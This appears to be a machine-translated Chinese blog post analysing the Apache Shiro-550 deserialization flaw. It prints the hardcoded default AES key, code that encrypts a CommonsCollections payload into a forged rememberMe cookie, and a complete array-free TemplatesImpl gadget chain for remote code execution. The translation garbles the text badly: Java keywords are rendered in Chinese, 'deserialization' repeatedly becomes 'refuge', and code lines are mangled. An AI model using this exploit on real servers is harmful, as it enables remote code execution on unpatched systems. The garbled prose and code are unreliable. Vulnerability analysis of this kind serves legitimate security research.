Shiro 反序列化漏洞原理分析
1 概述
Apache Shiro在Java许可和安全验证框架中占据着重要地位,并在其第550期中暴露了严重的Java避难所。Shiro避难所化漏洞的原理相对简单:为了防止用户重新启动浏览器或服务器后,用户丢失了登录状态,Shiro支持序列化和加密持久信息,并将其保存在Cookie的记忆领域,并将其解密和下一次启用。但是,在Shiro 1.2.4之前,内置了一个默认和固定的加密密钥,这导致攻击者能够伪造任何记住cookie,从而触发避免漏洞。
上一篇文章在Commons-Collections Chain中介绍了各种小工具,这些小工具分为两种利用方式:一个是InvokerTransFormer,它通过Runtime.exec()命令执行;另一个是TemplateSimpl,它通过加载类字节码的形式执行。
本文首先使用了—— shiro避难所化的实践示例,以实际使用TemplateSimpl。
2 漏洞环境搭建
使用射击范围来建立脆弱的环境。整个项目只有两个代码文件,index.jsp和login.jsp。根据这一区域,只有少数低于:Shiro核心,Shiro-Web,这是Shiro本身的依赖性
Javax.Servlet-API,JSP-API,它们是JSP和Servlet的依赖性,仅在编译阶段使用,因为Tomcat随着这两个依赖关系。
slf4j-api,slf4j-simple,这是在shiro中显示错误消息的依赖性
Commons-Goging,这是Shiro中使用的界面。如果您不添加它,它将爆炸。 java.lang.classnotfoundexception: org.apache.commons.logging.logfactory错误
下议院收集,为了证明避难所的脆弱性,已添加了下议院依赖性
使用Maven将项目包装到战争包中,并将其放在Tomcat的WebApps目录中。然后访问http://localhost:8080/shirodemo/,它将跳到登录页面:

然后输入正确的帐户密码,根/秘密,您可以成功登录。
如果在登录时选择了“记住我”的多检查框,则服务器成功登录后将返回记住我的cookie。
3 使用 CC6 攻击 Shiro
3.1 概述
整个攻击过程如下:使用Componcollections使用链生成序列化有效载荷
使用Shiro默认密钥加密
将密文作为记住的cookie发送到服务器
3.2 包含数组的反序列化 Gadget
12
3
4
5
6
7
8
9
10
11
导入org.apache.shiro.crypto.aescipherservice;
导入org.apache.shiro.util.bytesource;
公共类客户clibt0 {
public static void main(string [] args)抛出异常{
byte []有效载荷=new CommonsCollections6()。getPayload('calc.exe');
aescipherservice aes=new aescipherService();
byte [] key=java.util.base64.getDecoder()。解码('kph+bixk5d2deziixcaaaa==');
bytesource ciphertext=aes.encrypt(有效载荷,键);
system.out.printf(ciphertext.tostring());
}
}
加密过程使用内置类org.apache.shiro.crypto.crypto.aescipherservice,并最终生成一个base64字符串。

将此字符串直接发送到shiro作为nemplyme的值(无URL编码)。结果,Tomcat报告了一个错误:

找到了最后一个例外信息org.apache.shiro.io.classolvingobjectInputstream。您可以看到这是ObjectInputStream的子类,它重写了Resolveclass方法:

Resolveclass是一种用于查找次要化类的方法。在阅读序列化流时,当以字符串的形式读取类名时,您需要使用此方法查找相应的java.lang.class对象。
比较其父类,即正常objectInputStream类中的resolveclass方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
受保护的班级? Resolveclass(ObjectStreamClass desc)抛出IOException,classNotFoundException
{
字符串名称=desc.getName();
尝试{
return class.forname(name,false,false,最新userdefinedloader());
} catch(classNotFoundException ex){
班级? cl=primClasses.get(name);
如果(cl!=null){
返回CL;
} 别的{
投掷前;
}
}
}
您会发现前者使用org.apache.shiro.util.classutils#forname,而后者则使用Java Native Class.Forname。
异常折断位置的下一个断点,请参阅哪个类触发异常:

可以看出,发生异常时加载的类名是[lorg.apache.commons.collections.transformer;实际上,它是代表org.apache.commons.collections.transformer的数组。
3.2.1 Class.forName 和 ClassLoader.loadClass 的区别
使用ClassLoader.loadClass(字符串名称)时,该名称必须是Java语言规范定义的二进制名称,并且不包括数组类;类负载器负责加载类对象,并且数组类的类对象不是由类加载程序创建的,而是根据Java运行时的要求自动创建的。以下代码是一个示例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package classLoaderDemo;
公共类class classloaderDemo {
public static void main(string [] args)抛出classNotFoundException {
字符串c1name='test1'.getClass()。getName();
字符串c2name=new String [] {'test2'}。getClass()。getName();
system.out.println(c1name);
system.out.println(c2name);
class.forname(c1name);
class.forname(c2name);
classLoaderDemo.class.getClassLoader()。loadClass(c1name);
classLoaderDemo.class.getClassLoader()。loadClass(c2Name);
}
}

3.2.2 真实原因
在线分析的大多数原因是class.forname(forname()和classloader.loadclass()之间的差异导致阵列在shiro的避免序列化过程中未加载该数组,这不是完全准确的。实际上,Shiro加载课程。最后一个电话是Tomcat下的WebAppClassLoader。此类将使用class.forname()加载数组类,但是使用的类是UrlClassLoader,它只会在Tomcat/bin,tomcat/lib,jre/lib/ext上加载类数组,并且无法加载三方依赖关系JAR包。
简而言之,如果反序列化流中包含非 Java 自身的数组,则会出现无法加载类的错误。由于CC6使用变压器阵列,因此无法正常进行应有的序列化。
3.3 不包含数组的反序列化 Gadget
在这里我们使用WH1T3P1G的想法。使用templatesimpl.newtransformer函数动态构建邪恶类字节。在利用链的这一部分中,没有数组类型对象。如何触发templatesimpl.newtransformer的方法?
让我们首先回顾Conscollections的利用链2:
1
2
3
4
5
6
7
8
9
PriorityQueue.ReadObject
-Priontityqueue.heapify()
- Priorityqueue.SiftDown()
- PriortityQueue.SiftDownusingComparator()
- transforkcomparator.compare()
-TemplatesImpl.NewTransFormer()
.模板小工具.
-runtime.getRuntime()。exec()
在此链上,由于TransformingComparator并未在版本3.2.1上实现可序列化接口,因此在版本3.2.1中无法进行序列化。因此,有效载荷不能直接用于实现命令执行的目的。
在InvokerTransFormer.TransForm()中,其Imethodname方法基于传递的输入对象调用。如果此时传递的输入是构造的templatesimpl对象怎么办?这使您可以通过将imethodname设置为newTransFormer来完成后续模板小工具。
在Ysoserial利用链中,有关转换函数接收到的输入有两种情况:
与链式变形器合作
这里的毫无意义的字符串是指传递到constantTransForm.Transform函数的输入。变换函数不取决于输入,而是直接返回Iconstant。
从CommonScollection6开始,使用Tiedmapentry,用作继电器,并称为Lazymap(MAP)的GET功能。
lazymap.get调用转换函数,并将可控键传递到转换函数时:

这样,作为InvokerTransFormer.Transform函数的输入,可以将构造的TemplateImpl(键)传递给,并且可以将模板小工具串在一起。
这是整理此链的呼叫过程:
1
2
3
4
5
6
7
8
9
10
java.util.hashset.ReadObject()
-java.util.hashmap.put()
-java.util.hashmap.hash()
-org.apache.commons.collections.keyvalue.tiedmapentry.hashcode()
-org.apache.commons.collections.keyvalue.tiedmapentry.getValue()
-org.apache.commons.collections.map.lazymap.get()
-org.apache.commons.collections.functors.invokertransformer.transform()
-java.lang.reflect.method.invoke()
.模板小工具.
-java.lang.runtime.exec()
4 实战 - CommonsCollectionsK1
首先,创建TemplatesImpl对象:1
2
3
4
TemplateSimpl obj=new TemplateSimpl();
setFieldValue(obj,'_bytecodes',new byte [] [] {'. bytescode'});
setFieldValue(obj,'_name','helloteMplateSimpl');
setFieldValue(obj,'_tfactory',new TransformerFactoryImpl());
创建一个调用NewTransFormer方法的InvokerTransFormer,但请注意,目前,通过一种正常方法(例如GetClass)传递,以避免在构造小工具时触发恶意方法:
1
transformerTransFormer=new InvokerTransFormer('getClass',null,null);
然后复制以前的Commonscollections6代码,然后在构造原始TiedMapentry到较早创建的TemplateSimpl对象时更改第二个参数密钥:
1
2
3
4
5
6
map innermap=new hashmap();
map outermap=lazymap.decorate(innermap,变压器);
tiedmapentry tme=新的tiedmapentry(outermap,obj);
地图expmap=new hashmap();
expmap.put(tme,'valueValue');
outermap.clear();
完整的代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
包com.govuln.shiroattack;
导入com.sun.org.apache.xalan.internal.xsltc.trax.templatesimpl;
导入com.sun.org.apache.xalan.internal.xsltc.trax.trax.transformerfactoryimpl;
导入org.apache.commons.collections.transformer;
导入org.apache.commons.collections.functors.invokertransformer;
导入org.apache.commons.collections.keyvalue.tiedmapentry;
导入org.apache.commons.collections.map.lazymap;
导入java.io.bytearrayoutputstream;
导入java.io.io.objectOutputstream;
导入java.lang.reflect.field;
导入java.util.hashmap;
导入java.util.map;
公共类Commonscollectionsshiro {
public static void setFieldValue(Object OBJ,字符串字段名称,对象值)引发异常{
field field=obj.getClass()。getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
public byte [] getpayload(byte [] clazzbytes)抛出异常{
TemplateSimpl obj=new TemplateSimpl();
setFieldValue(obj,'_bytecodes',new byte [] [] {clazzBytes});
setFieldValue(obj,'_name','helloteMplateSimpl');
setFieldValue(obj,'_tfactory',new TransformerFactoryImpl());
变形金刚=新InvokerTransFormer('getClass',null,null);
map innermap=new hashmap();
map outermap=lazymap.decorate(innermap,变压器);
tiedmapentry tme=新的tiedmapentry(outermap,obj);
地图expmap=new hashmap();
expmap.put(tme,'valueValue');
outermap.clear();
setFieldValue(变压器,'imethodname','newTransFormer');
//=========================
//生成串行的字符串
ByTearRayOutputStream barr=new ByTearRayOutputStream();
ObjectOutputStream OOS=new ObjectOutputStream(barr);
oos.WriteObject(expmap);
oos.close();
返回barr.tobytearray();
}
}

这个小工具实际上是Xray和Koalr的Commonscollectionsk1检测Shiro-550